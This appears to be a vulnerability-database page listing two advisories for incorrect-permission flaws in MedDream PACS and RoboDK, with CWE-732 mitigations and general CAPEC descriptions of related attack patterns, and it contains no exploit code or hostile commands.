GHSA-798Q-FHCC-4R5J

Vulnerability from github – Published: 2025-07-28 15:31 – Updated: 2025-11-03 21:34
VLAI
Details

An incorrect default permissions vulnerability exists in the CServerSettings::SetRegistryValues functionality of MedDream PACS Premium 7.3.3.840. A specially crafted application can decrypt credentials stored in a configuration-related registry key. An attacker can execute a malicious script or application to exploit this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-26469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-28T14:15:26Z",
    "severity": "CRITICAL"
  },
  "details": "An incorrect default permissions vulnerability exists in the CServerSettings::SetRegistryValues functionality of MedDream PACS Premium 7.3.3.840.\nA specially crafted application can decrypt credentials stored in a configuration-related registry key.\nAn attacker can execute a malicious script or application to exploit this vulnerability.",
  "id": "GHSA-798q-fhcc-4r5j",
  "modified": "2025-11-03T21:34:11Z",
  "published": "2025-07-28T15:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26469"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2154"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2154"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-799C-G7RJ-XF44

Vulnerability from github – Published: 2023-03-28 21:30 – Updated: 2023-04-04 03:30
VLAI
Details

RoboDK versions 5.5.3 and prior contain an insecure permission assignment to critical directories vulnerability, which could allow a local user to escalate privileges and write files to the RoboDK process and achieve code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-28T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "RoboDK versions 5.5.3 and prior contain an insecure permission assignment to critical directories vulnerability, which could allow a local user to escalate privileges and write files to the RoboDK process and achieve code execution.",
  "id": "GHSA-799c-g7rj-xf44",
  "modified": "2023-04-04T03:30:16Z",
  "published": "2023-03-28T21:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1516"
    },
    {
      "type": "WEB",
      "url": "https://robodk.com/contact"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-082-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Mitigation
Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Implementation Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Mitigation
System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Mitigation
Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Mitigation
Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Mitigation MIT-37
Operation System Configuration

Strategy: Environment Hardening

Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-122: Privilege Abuse

An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-206: Signing Malicious Code

The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing.

CAPEC-234: Hijacking a privileged process

An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-61: Session Fixation

The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

CAPEC-642: Replace Binaries

Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.